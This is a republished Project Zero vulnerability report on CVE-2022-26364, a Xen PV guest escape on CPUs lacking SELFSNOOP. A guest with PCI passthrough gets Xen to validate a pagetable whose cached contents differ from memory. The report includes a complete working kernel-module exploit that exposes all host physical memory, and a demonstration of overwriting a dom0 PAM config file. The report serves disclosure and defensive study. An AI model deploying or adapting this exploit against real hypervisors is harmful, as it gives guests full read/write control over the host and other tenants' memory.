Xen PV Guest Non-SELFSNOOP CPU Memory Corruption

2022.07.06
Credit: Jann Horn
Risk: High
Local: No
Remote: Yes
CWE: N/A

Xen: PV guest on non-SELFSNOOP CPUs can validate non-coherent L2 pagetable [I'm not sure whether there are any major users of (unshimmed) Xen PV left, but https://xenbits.xen.org/docs/unstable/support-matrix.html says it's still a security-supported usecase for 64-bit guests.] [Tested on Debian's Xen version 4.14.4-pre (Debian 4.14.3+32-g9de3671772-1~deb11u1)] On CPUs without SELFSNOOP support (which I think essentially means \"AMD CPUs\" nowadays?), a Xen PV domain that has access to a PCI device (which grants the domain the ability to set arbitrary cache attributes on all its pages) can trick Xen into validating an L2 pagetable that contains a cacheline that is marked as clean in the cache but actually differs from main memory. After the pagetable has been validated, an attacker can flush the \"clean\" cacheline, such that on the next load, unvalidated data from main memory shows up in the pagetable. The L2 pagetable validation path (promote_l2_table()) can be attacked with this because for zeroed PTEs, it only reads and doesn't write. The L1 pagetable validation path (promote_l1_table()) seems to always write to memory in the C code, but the compiler could conceivably elide that write, making the attack possible against that path, too - I haven't checked what compilers actually do there. Thinking further, it might also be a good idea to check the Memory Sharing code, although that isn't security-supported anyway. (The same attack might also be possible without a PCI device if an HVM/PVH domain is collaborating with the PV domain - from what I can tell, HVM/PVH can always control their cache attributes, and pages with incoherent cache state could then be freed to Xen's page allocator and reallocated by the PV domain, unless opt_scrub_domheap is set?) I made a little reproducer that can be loaded as a kernel module inside a PV guest with PCI passthrough. It gives you a new device /dev/physical_memory using which you can just read and write all physical memory. For example, you can scan around for interesting strings: root@pv-guest:~/incoherent_page_table# strings -20 -td /dev/physical_memory [...] 146006071 auth requisite pam_nologin.so 146006107 # Load environment from /etc/environment and ~/.pam_environment 146006171 session required pam_env.so readenv=1 146006214 session required pam_env.so readenv=1 envfile=/etc/default/locale 146006286 @include common-auth 146006308 -auth optional pam_gnome_keyring.so 146006346 @include common-account Looking at that closer, we can dump the whole page and see that it looks like a pagecache page of a PAM config file from dom0: root@pv-guest:~/incoherent_page_table# dd if=/dev/physical_memory bs=1 count=4096 skip=146006016 #%PAM-1.0 # Block login if they are globally disabled auth requisite pam_nologin.so [...] Then we can clobber it by just dd'ing into it: root@pv-guest:~/incoherent_page_table# echo -n '##CLOBBER##' | dd of=/dev/physical_memory bs=1 seek=146006046 11+0 records in 11+0 records out 11 bytes copied, 0.00109982 s, 10.0 kB/s root@pv-guest:~/incoherent_page_table# And checking from a dom0 shell, the file contents of this config file in dom0 have indeed changed: root@jannh-amdbox:/home/user# head -n5 /etc/pam.d/lightdm #%PAM-1.0 # Block login if th##CLOBBER##ally disabled auth requisite pam_nologin.so root@jannh-amdbox:/home/user# This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-06-06. ====== Reproducer code ====== root@pv-guest:~/incoherent_page_table# cat incoherent_page_table.c #include <linux/module.h> #include <linux/kernel.h> #include <linux/vmalloc.h> #include <linux/set_memory.h> #include <linux/mm.h> #include <linux/miscdevice.h> #include <asm/cacheflush.h> #include <asm/tlbflush.h> #include <asm/io.h> #include <asm/xen/hypercall.h> #include <asm/xen/page.h> /* first entry in the last L3 pagetable */ #define MAPPING_TARGET_ADDR 0xffffff8000000000UL static unsigned long *controlled_l1_pte; static void __tlb_flush_everything_local(void *info) { __flush_tlb_all(); } static void tlb_flush_everything(void) { on_each_cpu(__tlb_flush_everything_local, NULL, 1); } static ssize_t physmem_rw(char __user *buf, size_t len, loff_t *offp, int is_write) { ssize_t ret = len; while (len != 0) { unsigned long offset_in_page = (*offp) & 0xfff; size_t chunk_len = min_t(size_t, len, 0x1000 - offset_in_page); void *mapped_addr = (void*)(MAPPING_TARGET_ADDR + offset_in_page); pr_warn(\"physmem_rw() iteration: len=%lu, off=%lu, chunk_len=%lu\ \", (unsigned long)len, (unsigned long)*offp, (unsigned long)chunk_len); if (signal_pending(current)) return -ERESTARTSYS; WRITE_ONCE(*controlled_l1_pte, ((unsigned long)(*offp) & ~0xfffUL) | _PAGE_PRESENT | _PAGE_RW | _PAGE_USER); tlb_flush_everything(); if (is_write) { *(volatile char *)mapped_addr = 0; // for debugging if (copy_from_user(mapped_addr, buf, chunk_len)) ret = -EFAULT; } else { *(volatile char *)mapped_addr; // for debugging if (copy_to_user(buf, mapped_addr, chunk_len)) ret = -EFAULT; } WRITE_ONCE(*controlled_l1_pte, 0); tlb_flush_everything(); buf += chunk_len; len -= chunk_len; (*offp) += chunk_len; } return ret; } static ssize_t physmem_read(struct file *file, char __user *buf, size_t len, loff_t *offp) { return physmem_rw(buf, len, offp, 0); } static ssize_t physmem_write(struct file *file, const char __user *buf, size_t len, loff_t *offp) { return physmem_rw((char __user *)buf, len, offp, 1); } static loff_t my_llseek(struct file *file, loff_t offset, int whence) { switch (whence) { case SEEK_CUR: offset += file->f_pos; fallthrough; case SEEK_SET: file->f_pos = offset; return file->f_pos; default: return -EINVAL; } } static const struct file_operations physmem_fops = { .owner = THIS_MODULE, .read = physmem_read, .write = physmem_write, .llseek = my_llseek }; static struct miscdevice physmem_miscdev = { .minor = MISC_DYNAMIC_MINOR, .name = \"physical_memory\", .fops = &physmem_fops }; static struct page *incoherent_page; static int init_test(void) { struct page *bogo_l1_page_table; void *wc_mapping; pte_t *linear_mapping_ptep; int level; pgd_t *pgd = pgd_offset(current->mm, MAPPING_TARGET_ADDR); p4d_t *p4d = p4d_offset(pgd, MAPPING_TARGET_ADDR); pud_t *pud = pud_offset(p4d, MAPPING_TARGET_ADDR); int update_res; struct mmu_update mmu_update_req; pr_warn(\"starting incoherent_page_table test\ \"); pr_warn(\"old pud: 0x%lx\ \", *(unsigned long *)pud); if (*(unsigned long *)pud != 0) { pr_warn(\"refusing to clobber existing pte\ \"); return -EBUSY; } /* allocate a zeroed page, and create a WC mapping of it in vmalloc space */ incoherent_page = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL); wc_mapping = vmap(&incoherent_page, 1, 0, pgprot_writecombine(PAGE_KERNEL)); if (!wc_mapping) { pr_warn(\"vmap() failed\ \"); return -EFAULT; } /* allocate a zeroed L1 pagetable (but don't tell Xen we're going to use it * that way) */ bogo_l1_page_table = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL); controlled_l1_pte = page_address(bogo_l1_page_table); /* reset Xen's internal mapping of the page to normal */ set_pages_uc(incoherent_page, 1); set_pages_wb(incoherent_page, 1); /* make sure the page's first line is cached but not dirty */ clflush_cache_range(page_address(incoherent_page), PAGE_SIZE); *(volatile char *)page_address(incoherent_page); mb(); /* THIS IS WHERE THE MAGIC HAPPENS: * sneak past the cache and put a PTE in the page */ *(pmd_t*)wc_mapping = __pmd((virt_to_machine(controlled_l1_pte).maddr | _PAGE_TABLE)); mb(); /* get rid of all our writable mappings */ vunmap(wc_mapping); linear_mapping_ptep = lookup_address((unsigned long)page_address(incoherent_page), &level); if (level != PG_LEVEL_4K) { pr_warn(\"level != PG_LEVEL_4K\ \"); return -EFAULT; } set_pte(linear_mapping_ptep, pte_wrprotect(*linear_mapping_ptep)); /* Let Xen validate the incoherently clean cache contents. * We rely on Xen only *reading* the entries for validating them, not writing * them back. * Don't use set_pud() here because we want to see the return value. */ mmu_update_req.ptr = virt_to_machine(pud).maddr | MMU_NORMAL_PT_UPDATE; mmu_update_req.val = virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_TABLE; update_res = HYPERVISOR_mmu_update(&mmu_update_req, 1, NULL, DOMID_SELF); pr_warn(\"load 1: 0x%lx\ \", *(unsigned long *)page_address(incoherent_page)); clflush_cache_range(page_address(incoherent_page), PAGE_SIZE); pr_warn(\"load 2: 0x%lx\ \", *(unsigned long *)page_address(incoherent_page)); pr_warn(\"mmu_update returned %d\ \", update_res); if (update_res < 0) return -EUCLEAN; if (misc_register(&physmem_miscdev)) { pr_warn(\"misc_register failed\ \"); return -EFAULT; } pr_warn(\"enjoy your physical memory read/write!\ \"); pr_warn(\"controlled_l1_pte = 0x%lx\ \", (unsigned long)controlled_l1_pte); return 0; } static void exit_test(void) { misc_deregister(&physmem_miscdev); WRITE_ONCE(*controlled_l1_pte, virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_PRESENT | _PAGE_RW | _PAGE_USER); tlb_flush_everything(); *(unsigned long *)(MAPPING_TARGET_ADDR) = 0; tlb_flush_everything(); } module_init(init_test); module_exit(exit_test); MODULE_LICENSE(\"GPL v2\"); root@pv-guest:~/incoherent_page_table# cat Makefile KDIR ?= /lib/modules/`uname -r`/build default: $(MAKE) -C $(KDIR) M=$$PWD root@pv-guest:~/incoherent_page_table# Related CVE Numbers: CVE-2022-26364. Found by: jannh@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top